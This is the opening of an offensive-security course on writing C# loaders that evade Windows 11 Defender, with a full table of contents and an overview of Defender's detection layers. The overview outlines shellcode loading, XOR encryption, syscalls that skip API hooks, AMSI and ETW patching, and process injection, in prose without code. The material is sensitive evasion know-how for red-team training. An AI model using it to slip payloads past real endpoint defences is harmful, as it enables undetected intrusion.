
Modern Evasion

Windows 11 Defender Bypass with C#

Contents

1	Windows 11 Defender Evasion - C# from Scratch	1
1.1	What This Curriculum Is and What It Is Not	1
1.2	Why C# and Not Python, Go, Rust, or C++	1
1.2.1	C# Runs Natively on Every Windows Machine	1
1.2.2	C# Has Direct Access to the Windows API Through P/Invoke	2
1.2.3	C# Is What Real Offensive Tools Are Written In	2
1.2.4	C# Gives You In-Memory Execution	2
1.2.5	C# Compiles to MSIL, Not Native Code	2
1.2.6	The Job Market Demands C	3
1.3	What Windows Defender Actually Does (The Detection Layers You Will Beat)	3
1.3.1	Layer 1: Static File Scanning	3
1.3.2	Layer 2: Cloud-Based Analysis	3
1.3.3	Layer 3: AMSI (Antimalware Scan Interface)	4
1.3.4	Layer 4: API Hooking	4
1.3.5	Layer 5: ETW (Event Tracing for Windows)	4
1.3.6	Layer 6: Behavioral Analysis and Machine Learning	5
1.3.7	Why All Six Layers Matter	5
1.4	What You Will Build (The 8 Loaders)	5
1.4.1	Loader 01 - Basic Shellcode Loader	5
1.4.2	Loader 02 - XOR Encoder/Decoder	6
1.4.3	Loader 03 - Direct Syscalls Loader	6
1.4.4	Loader 04 - AMSI Bypass	7
1.4.5	Loader 05 - Reflective Injector	7
1.4.6	Loader 06 - Early Bird APC Injection	8
1.4.7	Loader 07 - ETW Patch	9
1.4.8	Loader 08 - Combined Evasion Loader	9
1.5	How This Gets You a Red Team Job	10
1.6	Prerequisites	11
1.7	Lab Environment	11
1.8	Curriculum Structure (11 Documents)	12
1.9	How Each Document Teaches Code	13
1.10	Folder Structure	13
1.11	Rules	14
1.12	What Comes Next	14
2	Document 01: Lab Setup	15
2.1	Where We Are	15
2.2	Why This Is Next	15
2.3	How This Works	16
2.3.1	What a Virtual Machine Is	16
2.3.2	What a Host-Only Network Is	16
2.3.3	What Defender's Default Configuration Looks Like	16
2.4	What Defender Does	17

2.5	The Evasion Technique	17
2.6	Getting the Loader Onto the Target	17
2.7	Teaching the Code	18
2.8	Setting Up VMware Workstation Pro	18
2.8.1	Step 1: Download and Install VMware	18
2.8.2	Step 2: Verify Hardware Virtualization	18
2.8.3	Step 3: Create the Host-Only Network	19
2.9	Setting Up the Windows 11 Target Machine	19
2.9.1	Step 1: Download the Windows 11 ISO	19
2.9.2	Step 2: Create the Virtual Machine	20
2.9.3	Step 3: Install Windows 11	20
2.9.4	Step 4: Install VMware Tools	21
2.9.5	Step 5: Update Windows Fully	21
2.9.6	Step 6: Verify Defender Configuration	21
2.9.7	Step 7: Set a Static IP Address	22
2.9.8	Step 8: Take a Snapshot	22
2.10	Setting Up the Windows 11 Dev Box	23
2.10.1	Step 1: Create the Virtual Machine	23
2.10.2	Step 2: Install Windows 11	23
2.10.3	Step 3: Install VMware Tools	23
2.10.4	Step 4: Install Visual Studio 2022 Community	23
2.10.5	Step 5: Verify the .NET SDK	24
2.10.6	Step 6: Set a Static IP Address	24
2.10.7	Step 7: Disable Windows Defender	25
2.10.8	Step 8: Take a Snapshot	25
2.11	Setting Up the Kali Linux VM (Attacker Machine)	25
2.11.1	Step 1: Download Kali Linux	25
2.11.2	Step 2: Create the Virtual Machine	26
2.11.3	Step 3: Install Kali Linux	26
2.11.4	Step 4: Set a Static IP Address	26
2.11.5	Step 5: Verify Required Tools	27
2.11.6	Step 6: Take a Snapshot	27
2.12	Compilation and Execution	28
2.12.1	Testing Network Connectivity	28
2.12.2	Testing File Transfer Method 1: Python HTTP Server	28
2.12.3	Testing File Transfer Method 2: SMB Share	29
2.12.4	Verifying the Build Toolchain	30
2.13	Confirming Success	30
2.14	What Was Gained	31
2.15	Common Threats and Variations	31
2.15.1	Variation 1: Using VirtualBox Instead of VMware	32
2.15.2	Variation 2: Kali in WSL Instead of a Separate VM	32
2.15.3	Variation 3: Using Physical Machines	32
2.16	Detection and Defense (Blue Team Perspective)	32
2.17	What Comes Next	33
3	Document 02: C# Basics for Evasion Development	34
3.1	Where We Are	34
3.2	Why This Is Next	34
3.3	How This Works	34
3.4	What Defender Does	35
3.5	The Evasion Technique	35
3.6	Getting the Loader Onto the Target	35
3.7	Teaching the Code	35

3.7.1	Setting Up Your Workspace	35
3.7.2	Part 1: The Structure of a C# Program	36
3.7.3	Part 2: Variables - Storing Data	37
3.7.4	Part 3: Making Decisions with If Statements	38
3.7.5	Part 4: Loops - Repeating Actions	40
3.7.6	Part 5: Arrays - Storing Multiple Values Together	42
3.7.7	Part 6: Functions - Reusable Blocks of Code	43
3.7.8	Part 7: XOR - The Simplest Encryption	47
3.7.9	Part 8: Multi-Byte XOR Keys	49
3.7.10	Part 9: Reading and Writing Files	51
3.7.11	Part 10: Command-Line Arguments	52
3.7.12	Part 11: The Marshal Class - Moving Data Between C# and Raw RAM	55
3.7.13	Part 12: Building Strings from Numbers (Avoiding Static Detection)	57
3.8	Compilation and Execution	58
3.9	Confirming Success	58
3.10	What Was Gained	59
3.11	Common Threats and Variations	59
3.11.1	Variation 1: Top-Level Statements	59
3.11.2	Variation 2: String Interpolation	60
3.11.3	Variation 3: LINQ and Modern C	60
3.12	Detection and Defense (Blue Team Perspective)	60
3.13	What Comes Next	60
4	Document 03: Windows API - How Your Program Talks to Windows	61
4.1	Where We Are	61
4.2	Why This Is Next	61
4.3	How This Works	61
4.3.1	What Is RAM and Why Programs Need It	61
4.3.2	What Windows Does When You Use Your Computer	62
4.3.3	What Is the Windows API	62
4.3.4	Connecting This to Web APIs You Already Know	62
4.3.5	Where Windows API Functions Live: DLL Files	63
4.3.6	How C# Calls a Windows API Function	63
4.4	What Defender Does	64
4.5	The Evasion Technique	64
4.6	Getting the Loader Onto the Target	65
4.7	Teaching the Code	65
4.7.1	Part 1: MessageBox - Your First Windows API Call	65
4.7.2	Part 2: Beep - Calling a Function from a Different DLL	67
4.7.3	Part 3: GetCurrentProcessId - Getting Information from Windows	68
4.7.4	Part 4: What Is a Handle	69
4.7.5	Part 5: VirtualAlloc - Requesting a Chunk of RAM from Windows	70
4.7.6	Part 6: Copying Data Into the RAM Chunk	72
4.7.7	Part 7: VirtualProtect - Changing RAM Permissions	74
4.7.8	Part 8: CreateThread - Telling the CPU to Run Your Code	75
4.7.9	Part 9: GetModuleHandle and GetProcAddress - Finding Functions Without DllImport	77
4.7.10	Part 10: OpenProcess - Accessing Another Running Program	80
4.7.11	Part 11: The Complete Loader Pattern	82
4.8	Compilation and Execution	83
4.9	Confirming Success	83
4.10	What Was Gained	84
4.11	Common Threats and Variations	84
4.11.1	Variation 1: Calling ntdll.dll Instead of kernel32.dll	84

4.11.2	Variation 2: Callback Functions Instead of CreateThread	84
4.11.3	Variation 3: Replacing WriteProcessMemory	84
4.12	Detection and Defense (Blue Team Perspective)	84
4.13	What Comes Next	85
5	Document 04: Memory Fundamentals - How Windows Manages RAM	86
5.1	Where We Are	86
5.2	Why This Is Next	86
5.3	How This Works	86
5.3.1	Your Computer's Physical RAM	87
5.3.2	Virtual Memory: Every Program Gets Its Own Private Address Space . . .	87
5.3.3	What This Means for Shellcode	88
5.3.4	Pages: How Windows Divides RAM	88
5.3.5	Page Permissions: What the CPU Allows	88
5.3.6	The Two-Step Allocation: Why It Matters	89
5.3.7	How the CPU Enforces Permissions (DEP)	89
5.3.8	Your Process vs. Another Process	89
5.4	What Defender Does	90
5.5	The Evasion Technique	90
5.6	Getting the Loader Onto the Target	90
5.7	Teaching the Code	90
5.7.1	Part 1: Viewing Your Process's Memory Layout	91
5.7.2	Part 2: Allocating Pages and Observing the Working Set	92
5.7.3	Part 3: Page Alignment and Minimum Allocation	96
5.7.4	Part 4: Observing Permission Changes	98
5.7.5	Part 5: Reading Another Process's Information	101
5.7.6	Part 6: The Full Local Execution Pattern with Logging	103
5.7.7	The Cross-Process Functions (Reference)	107
5.8	Compilation and Execution	108
5.9	Confirming Success	109
5.10	What Was Gained	109
5.11	Common Threats and Variations	109
5.11.1	Variation 1: Large Page Allocations	109
5.11.2	Variation 2: Section Objects for Cross-Process Sharing	109
5.11.3	Variation 3: Memory-Mapped Files	109
5.12	Detection and Defense (Blue Team Perspective)	110
5.13	What Comes Next	110
6	Document 05: Your First Shellcode Loader	111
6.1	Where We Are	111
6.2	Why This Is Next	111
6.3	How This Works	112
6.3.1	What Happens When This Loader Runs	112
6.3.2	Why Running Code in RAM Matters	112
6.4	What Defender Does	112
6.4.1	On Disk (Static Scanning)	113
6.4.2	At Compile Time	113
6.4.3	At Runtime (Behavioral Detection)	113
6.4.4	AMSI (Antimalware Scan Interface)	113
6.5	The Evasion Technique	113
6.6	Getting the Loader Onto the Target	114
6.7	Teaching the Code	114
6.7.1	The Imports	114
6.7.2	The Namespace and Class	114

6.7.3	Declaring Windows API Functions	115
6.7.4	The Constants	116
6.7.5	The Main Function: Reading the Shellcode	117
6.7.6	Step 1: Allocate Memory	117
6.7.7	Step 2: Copy Shellcode Into Memory	118
6.7.8	Step 3: Execute the Shellcode	118
6.7.9	Step 4: Wait Forever	119
6.7.10	The Complete Program	119
6.8	Compilation and Execution	121
6.8.1	Step 1: Generate Shellcode on Kali	121
6.8.2	Step 2: Start a Listener on Kali	121
6.8.3	Step 3: Transfer Shellcode to the Dev Box	121
6.8.4	Step 4: Compile the Loader on the Dev Box	122
6.8.5	Step 5: Transfer Loader and Shellcode to the Target	122
6.8.6	Step 6: Run the Loader on the Target	122
6.9	Confirming Success	123
6.10	What Was Gained	124
6.11	Common Threats and Variations	124
6.11.1	Variation 1: Embedding Shellcode in the Binary	124
6.11.2	Variation 2: Using PAGE_READWRITE + VirtualProtect	124
6.11.3	Variation 3: Using a Different Payload	125
6.12	Detection and Defense (Blue Team Perspective)	125
6.13	What Comes Next	125
7	Document 06: Encoding Evasion - XOR Encryption	126
7.1	Where We Are	126
7.2	Why This Is Next	126
7.3	How This Works	127
7.3.1	What XOR Does to Data	127
7.3.2	Why XOR Defeats Static Scanning	127
7.3.3	Multi-Byte Keys vs Single-Byte Keys	128
7.3.4	What Defender Still Sees	128
7.4	What Defender Does	128
7.5	The Evasion Technique	129
7.6	Getting the Loader Onto the Target	129
7.7	Teaching the Code	130
7.7.1	The DllImport Declarations	130
7.7.2	The Constants	131
7.7.3	The XOR Function	131
7.7.4	The Key Generator	132
7.7.5	The Hex Converter	132
7.7.6	Encoder Mode	132
7.7.7	Loader Mode	134
7.7.8	The Complete Loader File	135
7.8	Compilation and Execution	135
7.8.1	Step 1: Generate Shellcode on Kali	135
7.8.2	Step 2: Compile the Encoder on the Dev Box	135
7.8.3	Step 3: Compile the Loader on the Dev Box	136
7.8.4	Step 4: Encrypt the Shellcode	136
7.8.5	Step 5: Set Up Your Listener on Kali	136
7.8.6	Step 6: Transfer to Target and Run the Loader	136
7.8.7	Step 7: Check Protection History	137
7.9	Confirming Success	137
7.10	What Was Gained	138

7.11	Common Threats and Variations	138
7.11.1	Variation 1: AES Instead of XOR	138
7.11.2	Variation 2: Embedding the Key in the Binary	138
7.11.3	Variation 3: Encoding the Encrypted Bytes as Base64	139
7.12	Detection and Defense (Blue Team Perspective)	139
7.13	What Comes Next	139
8	Document 07: Direct Syscalls - Bypassing Defender's API Hooks	141
8.1	Where We Are	141
8.2	Why This Is Next	141
8.3	How This Works	142
8.3.1	The Normal Windows API Call Chain	142
8.3.2	What a Hook Looks Like in Memory	142
8.3.3	How Dynamic Resolution Bypasses the Import Table	143
8.3.4	How Indirect Syscall Stubs Bypass API Hooks	143
8.3.5	How Building Strings from Integers Hides Function Names	145
8.3.6	NT Functions vs Kernel32 Functions	145
8.3.7	Two-Step Memory Allocation	146
8.4	What Defender Does	146
8.5	The Evasion Technique	147
8.6	Getting the Loader Onto the Target	147
8.7	Teaching the Code	149
8.7.1	The Delegates (Function Pointer Types)	149
8.7.2	The DllImport Lines	150
8.7.3	FindSyscallGadget: Finding the syscall; ret Instruction in ntdll	151
8.7.4	BuildStub: Writing the 22-byte Trampoline	151
8.7.5	Main Function: Stubs and Shellcode	152
8.7.6	Main Function: Allocate, Write, Protect, Execute	153
8.7.7	The Complete Loader File	154
8.8	Compilation and Execution	154
8.8.1	Step 1: Generate and Encrypt Shellcode	154
8.8.2	Step 2: Compile Loader 03	155
8.8.3	Step 3: Transfer the Files to the Target	155
8.8.4	Step 4: Set Up Your Listener on Kali	155
8.8.5	Step 5: Run the Loader	155
8.9	Confirming Success	156
8.10	What Was Gained	156
8.11	Common Threats and Variations	157
8.11.1	Variation 1: Direct Syscalls (Inline Assembly)	157
8.11.2	Variation 2: Manual Syscall Number Resolution	157
8.11.3	Variation 3: Fresh NTDLL Copy	157
8.12	Detection and Defense (Blue Team Perspective)	157
8.13	What Comes Next	158
9	Document 08: AMSI Bypass and ETW Patching - Blinding Defender's Eyes	159
9.1	Where We Are	159
9.2	Why This Is Next	159
9.3	How This Works	160
9.3.1	ETW: Why Windows Tracks What Programs Do	160
9.3.2	AMSI: Why Windows Checks PowerShell Commands	161
9.3.3	Why ETW Must Be Patched Before AMSI	161
9.3.4	Why the Previous Patching Approach Was Caught	162
9.3.5	How Loader 07 Works: NtTraceEvent Indirect Syscall Patch	162
9.3.6	How Loader 04 Works: AmsiScanBuffer Indirect Syscall Patch	163

9.3.7	Why ETW Must Still Be Patched Before AMSI	163
9.4	What Defender Does	163
9.5	The Evasion Technique	164
9.6	Getting the Loader Onto the Target	165
9.6.1	Transfer Workflow	165
9.7	Teaching the Code	165
9.7.1	Part 1: Loader 07 - ETW Patch	166
9.7.2	The Complete ETW Patch Loader	169
9.7.3	Part 2: Loader 04 - AMSI Bypass	169
9.7.4	The Complete AMSI Bypass Loader	172
9.8	Compilation and Execution	172
9.8.1	Step 1: Compile Both Loaders on the Dev Box	172
9.8.2	Step 2: Transfer Both Files to the Target	173
9.8.3	Step 3: Run the ETW Patch First	173
9.8.4	Step 4: Run the AMSI Bypass	174
9.8.5	Step 5: Test the AMSI Bypass (Optional but Recommended)	174
9.9	Confirming Success	174
9.9.1	ETW Patch (Loader 07):	175
9.9.2	AMSI Bypass (Loader 04):	175
9.9.3	Verification with ETW Logging (Advanced)	175
9.10	What Was Gained	175
9.11	Common Threats and Variations	176
9.11.1	Variation 1: Patching AmsiOpenSession Instead of AmsiScanBuffer	176
9.11.2	Variation 2: Overwriting the AMSI Context Structure	176
9.11.3	Variation 3: Patching ETW via NtTraceEvent Instead of EtwEventWrite	176
9.12	Detection and Defense (Blue Team Perspective)	177
9.13	What Comes Next	177
10	Document 09: Process Injection - Running Code Inside Legitimate Processes	178
10.1	Where We Are	178
10.2	Why This Is Next	178
10.3	How This Works	179
10.3.1	What is a Process?	179
10.3.2	Remote Thread Injection (Loader 05)	180
10.3.3	Early Bird APC Injection (Loader 06)	180
10.3.4	Why These Get Caught by Defender Alone	181
10.4	What Defender Does	181
10.5	The Evasion Technique	182
10.6	Getting the Loader Onto the Target	182
10.6.1	What You Need	183
10.6.2	Transfer Workflow	183
10.7	Teaching the Code	184
10.7.1	Part 1: Loader 05 - Remote Thread Injection	184
10.7.2	The Complete Remote Thread Injection Loader	187
10.7.3	Part 2: Loader 06 - Early Bird APC Injection	187
10.7.4	The Complete Early Bird APC Injection Loader	191
10.8	Compilation and Execution	191
10.8.1	Step 1: Generate and Encrypt Shellcode (If Needed)	191
10.8.2	Step 2: Compile Both Loaders on the Dev Box	192
10.8.3	Step 3: Transfer Files to the Target	192
10.8.4	Step 4: Set Up Your Listener on Kali	192
10.8.5	Step 5: Run Loader 05 (Remote Thread Injection)	192
10.8.6	Step 6: Run Loader 06 (Early Bird APC Injection)	193
10.9	Confirming Success	193

10.9.1 What You Should Confirm:	193
10.9.2 If You Want to See the Injection Work (Without Defender)	194
10.10 What Was Gained	194
10.11 Common Threats and Variations	194
10.11.1 Variation 1: Thread Hijacking Instead of CreateRemoteThread	195
10.11.2 Variation 2: Module Stomping	195
10.11.3 Variation 3: Process Ghosting	195
10.12 Detection and Defense (Blue Team Perspective)	195
10.13 What Comes Next	196
11 Document 10: Combined Evasion - All Techniques in One Loader	197
11.1 Where We Are	197
11.2 Why This Is Next	198
11.3 How This Works	198
11.3.1 Why Order Matters	198
11.3.2 The Execution Order	198
11.3.3 What Each Step Defeats	199
11.3.4 Local vs Remote Execution	200
11.3.5 The NT Functions Used in Remote Mode	200
11.4 What Defender Does	200
11.5 The Evasion Technique	201
11.6 Getting the Loader Onto the Target	202
11.6.1 What You Need	202
11.6.2 Full Workflow (All Three Machines)	202
11.7 Teaching the Code	203
11.7.1 The Import List	203
11.7.2 OpenProcess via Dynamic Resolution	204
11.7.3 The NT Function Delegates	205
11.7.4 The ETW Patch in Loader 08	205
11.7.5 The AMSI Patch in Loader 08	206
11.7.6 The Main Function: The Orchestrator	207
11.7.7 Local Execution (ExecuteLocal)	208
11.7.8 Remote Execution (ExecuteRemote)	209
11.7.9 The Complete Combined Evasion Loader	211
11.8 Compilation and Execution	211
11.8.1 Step 1: Generate and Encrypt Shellcode	211
11.8.2 Step 2: Compile Loader 08 on the Dev Box	211
11.8.3 Step 3: Transfer to the Target	211
11.8.4 Step 4: Set Up Listener on Kali	212
11.8.5 Step 5a: Run in Local Mode	212
11.8.6 Step 5b: Run in Remote Mode (Injection into Explorer)	212
11.9 Confirming Success	213
11.9.1 Full Confirmation Checklist	213
11.10 What Was Gained	214
11.11 Common Threats and Variations	214
11.11.1 Variation 1: NTDLL Unhooking Instead of Dynamic Resolution	214
11.11.2 Variation 2: Syscall Stubs from Disk	215
11.11.3 Variation 3: Sleep Obfuscation	215
11.12 Detection and Defense (Blue Team Perspective)	215
11.13 What Comes Next	216
12 Document 11: Real-World Scenarios - How Evasion Techniques Work in the Field	217
12.1 Where We Are	217
12.2 Why This Is Next	217

12.3	Scenario 1: Initial Access on a Corporate Workstation	218
12.3.1	The Situation	218
12.3.2	What You Do	218
12.3.3	What Defender Sees	219
12.4	Scenario 2: Facing a Third-Party EDR Product	219
12.4.1	The Situation	219
12.4.2	What Changes	219
12.4.3	What You Do Differently	220
12.5	Scenario 3: Post-Exploitation and Data Exfiltration	220
12.5.1	The Situation	220
12.5.2	How the Curriculum's Techniques Apply	221
12.6	Scenario 4: Red Team vs Blue Team Exercise	221
12.6.1	The Situation	221
12.6.2	How This Changes Your Approach	221
12.6.3	The Loaders You Would Use	222
12.7	The Current State of Evasion (September 2026)	222
12.7.1	What Works Against Default Defender	222
12.7.2	What Does Not Work Anymore	222
12.7.3	What is Evolving	223
12.8	How This Curriculum Maps to Professional Red Team Skills	223
12.8.1	Skills You Have	223
12.8.2	Skills You Still Need	224
12.8.3	Where to Go Next	224
12.9	Summary of the Complete Curriculum	225

Windows 11 Defender Evasion - C# from Scratch

1.1 What This Curriculum Is and What It Is Not

This is a hands-on curriculum that teaches you to write C# programs that run on a fully updated Windows 11 machine without Windows Defender stopping them. You will write real code, compile it, transfer it to a Windows target, and run it while Defender is fully active with default settings.

Every technique you learn here is tested against production Defender, not a stripped-down version with protections turned off.

This is not a theoretical course. You will not read about evasion and move on. You will write 8 working loaders, each one targeting a specific Defender detection layer, and you will test every single one in a live environment. When something gets caught, you will understand exactly which bytes Defender flagged and why, and you will modify the code until it passes.

This is also not a “disable Defender and run your payload” course. Anyone can turn off an antivirus. That is not a skill. On a real engagement, you cannot ask the client to disable their security products. The entire point is to write code that works while Defender is doing its job. That is what separates a red team operator who gets hired from someone who just runs other people’s tools.

1.2 Why C# and Not Python, Go, Rust, or C++

The language you write your tooling in has a direct effect on whether it works on a real target and whether companies will hire you to do this work. Here is why C# is the right choice for Windows evasion in 2026.

1.2.1 C# Runs Natively on Every Windows Machine

Every Windows 11 installation comes with the .NET runtime pre-installed. The .NET runtime is a program that runs C# code. When you compile a C# program, the target machine can run it without installing anything extra.

If you wrote your loader in Python, you would need Python installed on the target. C# code runs on the same runtime that Microsoft’s own tools use, which means your loader looks like a normal .NET application from the operating system’s perspective.

1.2.2 C# Has Direct Access to the Windows API Through P/Invoke

The Windows API is the collection of functions that Windows provides for programs to call. P/Invoke is a C# feature that lets you call any of these Windows functions from your C# code.

This matters because evasion requires calling low-level Windows functions:

- **VirtualAlloc** - asks Windows for a chunk of RAM with specific permissions
- **WriteProcessMemory** - copies bytes into another running program's RAM
- **NtCreateThreadEx** - starts a new thread of execution

In C, you call these functions directly. In C#, P/Invoke gives you the same direct access without needing to write C.

1.2.3 C# Is What Real Offensive Tools Are Written In

Cobalt Strike's execute-assembly feature runs .NET assemblies in memory. Covenant, Sliver's .NET modules, SharpCollection, GhostPack (Rubeus, Seatbelt, SharpUp, Certify, SharpHound) are all C#.

When you go to a job interview for a red team position, they will ask you about .NET offensive tooling. If you say "I write my tools in Python", you are telling them you cannot operate on Windows targets without installing dependencies. If you say "I write custom C# loaders that bypass Defender using direct syscalls and dynamic API resolution", you are speaking their language.

1.2.4 C# Gives You In-Memory Execution

The .NET runtime can load and run compiled .NET programs entirely in RAM, without ever writing them to your hard drive. This is a huge advantage for evasion because Defender's strongest detection layer is file scanning, where it checks files on your hard drive.

If your payload never touches the hard drive, Defender's file scanner never sees it. C# gives you `System.Reflection.Assembly.Load()` which loads a compiled .NET program from a byte array sitting in RAM. No other mainstream language has this built into its standard runtime.

1.2.5 C# Compiles to MSIL, Not Native Code

When you compile a C# program, it does not produce machine code like C or Rust. It produces something called **MSIL** (Microsoft Intermediate Language), which is a set of instructions that the .NET runtime converts to machine code when the program actually runs. This conversion is called **JIT** (Just-In-Time compilation).

Because your compiled binary contains MSIL and not machine code, it also contains **meta-data**: class names, method names, string literals, and type information. All of this metadata is readable text sitting in the .exe file on your hard drive. You can open the compiled .exe in Notepad right now and you will literally see your class names, function names, and every quoted string sitting there as readable text inside all the garbage characters.

Defender opens that .exe file, reads the whole thing from start to end, and checks whether any of those names or strings match something in its database of known bad names. If your class is named "ShellcodeInjector" and your method is named "InjectMalware", Defender finds those words and flags the file. Understanding how .NET metadata works and how to control what ends up in your binary is a critical evasion skill.

1.2.6 The Job Market Demands C

Look at any red team job posting from CrowdStrike, Mandiant, Palo Alto Unit 42, SpecterOps, TrustedSec, or NetSPI. The required skills section lists C# and .NET offensive development.

Enterprise environments run Windows, Windows runs .NET, and the most effective offensive tools for Windows are written in C#. If you want a red team job that pays \$150K-\$220K+, C# evasion development is not optional. It is the core skill.

1.3 What Windows Defender Actually Does (The Detection Layers You Will Beat)

To write code that bypasses Defender, you need to understand what Defender actually does when a program runs on a Windows 11 machine. Defender is not a single check. It is six detection layers running at the same time, each watching for different things. Your code needs to get past all of them at once.

1.3.1 Layer 1: Static File Scanning

Your computer has a hard drive where all your files are stored, and it has **RAM** (Random Access Memory) which is a rectangular chip on your motherboard, about the size of a ruler, where programs run temporarily.

When a file is created, downloaded, copied, or modified on the hard drive, Defender scans it immediately. This scan compares the file's bytes against a database of known malicious byte sequences. Each known sequence is called a **signature**.

Here is what that means practically. The tool msfvenom (which you will use on Kali Linux to generate shellcode) produces a set of bytes. That specific set of bytes is in Defender's signature database. When you save those bytes as a file on the hard drive, Defender reads the file, finds those bytes, matches them against its database, and quarantines the file before you can even run it.

This is the first layer and the easiest to bypass. If you XOR-encrypt your shellcode before saving it as a file (XOR is a simple math operation that changes every byte), the encrypted version has completely different bytes. Defender's signatures do not match because the byte sequence is completely different. That is what Loader 02 teaches.

1.3.2 Layer 2: Cloud-Based Analysis

When Defender sees a file it does not recognize from its local signature database, it creates a **hash** of the file. A hash is a unique number calculated from the file's bytes, like a fingerprint for files. Two files with even one byte different will have completely different hashes.

Defender sends this hash (not the file itself) to Microsoft's cloud servers over the internet. Microsoft's cloud has a much larger database of malicious samples and runs machine learning models that detect suspicious characteristics.

If the cloud says the file is malicious, Defender blocks it even though the local signature database did not catch it. Cloud analysis looks at things like:

- Is this a very small executable that calls VirtualAlloc and CreateThread?
- Is this a .NET program with scrambled method names?
- Has this exact hash been seen on other machines that got compromised?

This layer is harder to bypass because it looks at behavior patterns, not just specific byte sequences.

1.3.3 Layer 3: AMSI (Antimalware Scan Interface)

PowerShell is a Windows tool where you type commands and it runs them. When you type a PowerShell command and press Enter, something happens before the command runs.

PowerShell sends the full text of your command to a system called **AMSI** (Antimalware Scan Interface). AMSI takes that text and passes it to Defender. Defender checks the text for anything malicious. If Defender says the text is malware, AMSI tells PowerShell to block the command. If Defender says the text is clean, PowerShell runs the command.

AMSI does not only check PowerShell. It checks VBScript, JavaScript, and .NET code too. So even if your .exe file passes the file scan, the moment your program runs PowerShell commands or loads .NET code at runtime, AMSI scans that content and can block it.

How AMSI works internally:

AMSI works through a DLL file called `amsi.dll`. A **DLL** (Dynamic Link Library) is a file containing compiled functions that programs can call. The key function inside `amsi.dll` is called `AmsiScanBuffer`. Every time AMSI needs to check something, it calls `AmsiScanBuffer`, which sends the content to Defender.

Loader 04 patches `AmsiScanBuffer` in your program's RAM so it immediately returns "this is clean" without actually sending anything to Defender.

1.3.4 Layer 4: API Hooking

When your C# program calls a Windows function like `VirtualAlloc` (which asks Windows for a chunk of RAM), the call goes through a chain of DLL files before reaching the actual Windows **kernel**. The kernel is the core of the operating system that actually controls the hardware.

The chain looks like this:

```
Your code -> kernel32.dll -> ntdll.dll -> Windows kernel
```

`kernel32.dll` contains commonly used Windows functions. `ntdll.dll` is a lower-level DLL that sits right before the kernel. Every function in `kernel32.dll` calls a corresponding function in `ntdll.dll` to do the real work.

What Defender does here:

Defender inserts monitoring code at the start of functions inside `ntdll.dll`. This monitoring code is called a **hook**. When your program calls `VirtualAlloc`, `kernel32.dll` calls `ntdll.dll`, and before `ntdll.dll` does the actual work, Defender's hook runs first.

The hook checks what you are requesting. Are you asking for RAM that the CPU can execute code from? How much RAM? It logs this information and decides if it looks suspicious. Then it lets the real function run.

Loader 03 teaches **direct syscalls**, which skip `ntdll.dll` entirely and talk to the Windows kernel directly. If Defender's hooks are inside `ntdll.dll` and your program never calls `ntdll.dll`, the hooks never run.

1.3.5 Layer 5: ETW (Event Tracing for Windows)

ETW stands for Event Tracing for Windows. It is a logging system built into Windows. Every running program generates ETW events that describe what it is doing:

- Which DLL files it loaded
- Which Windows functions it called
- Which chunks of RAM it requested

- Which threads it created

Defender and other security products read these events in real time. Even if your code bypasses file scanning, AMSI, and API hooks, the ETW events still report what your program did.

ETW works through a function called `EtwEventWrite` in `ntdll.dll`. Loader 07 patches this function the same way Loader 04 patches `AmsiScanBuffer`: it changes the first few bytes so it immediately returns without writing any events. After the patch, your program's activity is invisible to any security tool reading ETW events.

1.3.6 Layer 6: Behavioral Analysis and Machine Learning

Defender runs machine learning models that watch what a program does over time. These models look for patterns:

- Did this program create a new process in a suspended state and then write data into its RAM?
- Did it change the permissions on a chunk of RAM from writable to executable?
- Did it queue an **APC** (Asynchronous Procedure Call, a special type of function call) on a suspended thread?

These are not signature matches. Defender is not looking for specific bytes. It is looking at the sequence of actions your program takes. Machine learning models have been trained on thousands of malware samples and know which action sequences are suspicious.

This is the hardest layer to bypass because you cannot just change your bytes. You need to change your **behavior**. The combined evasion loader (Loader 08) addresses this by following the same patterns that legitimate programs use: it requests RAM as read-write first (which is normal), copies data into it, then changes the permissions to execute-read (which is what legitimate programs that compile code at runtime also do).

1.3.7 Why All Six Layers Matter

Understanding these 6 layers is the foundation of everything in this curriculum. Each loader you build targets one or more of these layers, and the final loader (Loader 08) combines all the bypasses into a single program that deals with all six layers at the same time.

1.4 What You Will Build (The 8 Loaders)

Each loader is a standalone C# program that demonstrates a specific evasion technique. The loaders are ordered so each one builds on what you learned in the previous one.

1.4.1 Loader 01 - Basic Shellcode Loader

File: `lab/loaders/01_shellcode_loader.cs`

This is your first working loader. It reads raw shellcode from a file, asks Windows for a chunk of RAM that the CPU can execute code from, copies the shellcode into that RAM, and creates a thread that starts running the shellcode. The shellcode runs entirely in RAM and never writes itself to the hard drive.

This loader is intentionally basic and **Defender WILL catch it**. The reason it gets caught teaches you something critical: the compiled binary contains names like "shellcode", it asks

for executable RAM in a pattern Defender knows, and the shellcode file on the hard drive matches known Metasploit signatures.

What you learn:

- How VirtualAlloc works (asking Windows for a chunk of RAM)
 - How Marshal.Copy works (copying bytes into that RAM)
 - How CreateThread works (telling the CPU to start running code at a specific RAM address)
 - Why the shellcode file on the hard drive gets flagged (Defender's static signatures match the bytes msfvenom produces)
 - Why the binary itself gets flagged (suspicious function names in the import table plus string metadata)
-

1.4.2 Loader 02 - XOR Encoder/Decoder

File: lab/loaders/02_xor_encoder.cs

This loader has two modes. In encoder mode, it takes raw shellcode and XOR-encrypts every byte with a key you provide, producing an encrypted file that looks like random data. In decoder/loader mode, it reads the encrypted file, XOR-decrypts it in RAM, and attempts to execute the decrypted shellcode.

XOR encryption solves one specific problem: the encrypted shellcode file no longer matches Defender's signature database. The raw msfvenom bytes that got Loader 01's shellcode quarantined on disk are now scrambled. Defender's static scanner cannot match what it cannot recognize.

However, this loader still gets caught. The loader binary itself still uses DllImport for VirtualAlloc and CreateThread (which puts those function names in the import table), and still uses PAGE_EXECUTE_READWRITE (0x40). Defender's behavioral detection and API hooks still see the injection pattern. XOR encryption defeats Layer 1 (static file scanning) but not the other five layers.

What you learn:

- How XOR encryption works (each byte is combined with a key byte using XOR, and applying XOR again with the same key restores the original byte)
 - Why encrypted shellcode bypasses static signatures (the byte patterns Defender looks for do not exist in the encrypted file)
 - The difference between what is on the hard drive and what is in RAM (encrypted on the hard drive, decrypted only in RAM)
 - Why XOR alone is not enough (the encrypted file survives disk scanning, but the loader binary and its runtime behavior are still detected by Defender's other layers)
-

1.4.3 Loader 03 - Direct Syscalls Loader

File: lab/loaders/03_direct_syscalls_loader.cs

When a C# program calls a Windows function like VirtualAlloc, the call goes through the chain: your code, then kernel32.dll, then ntdll.dll, then the kernel. Defender places hooks in ntdll.dll to monitor every call.

Direct syscalls skip the entire chain and call the kernel directly using the special **syscall** instruction that the CPU understands.

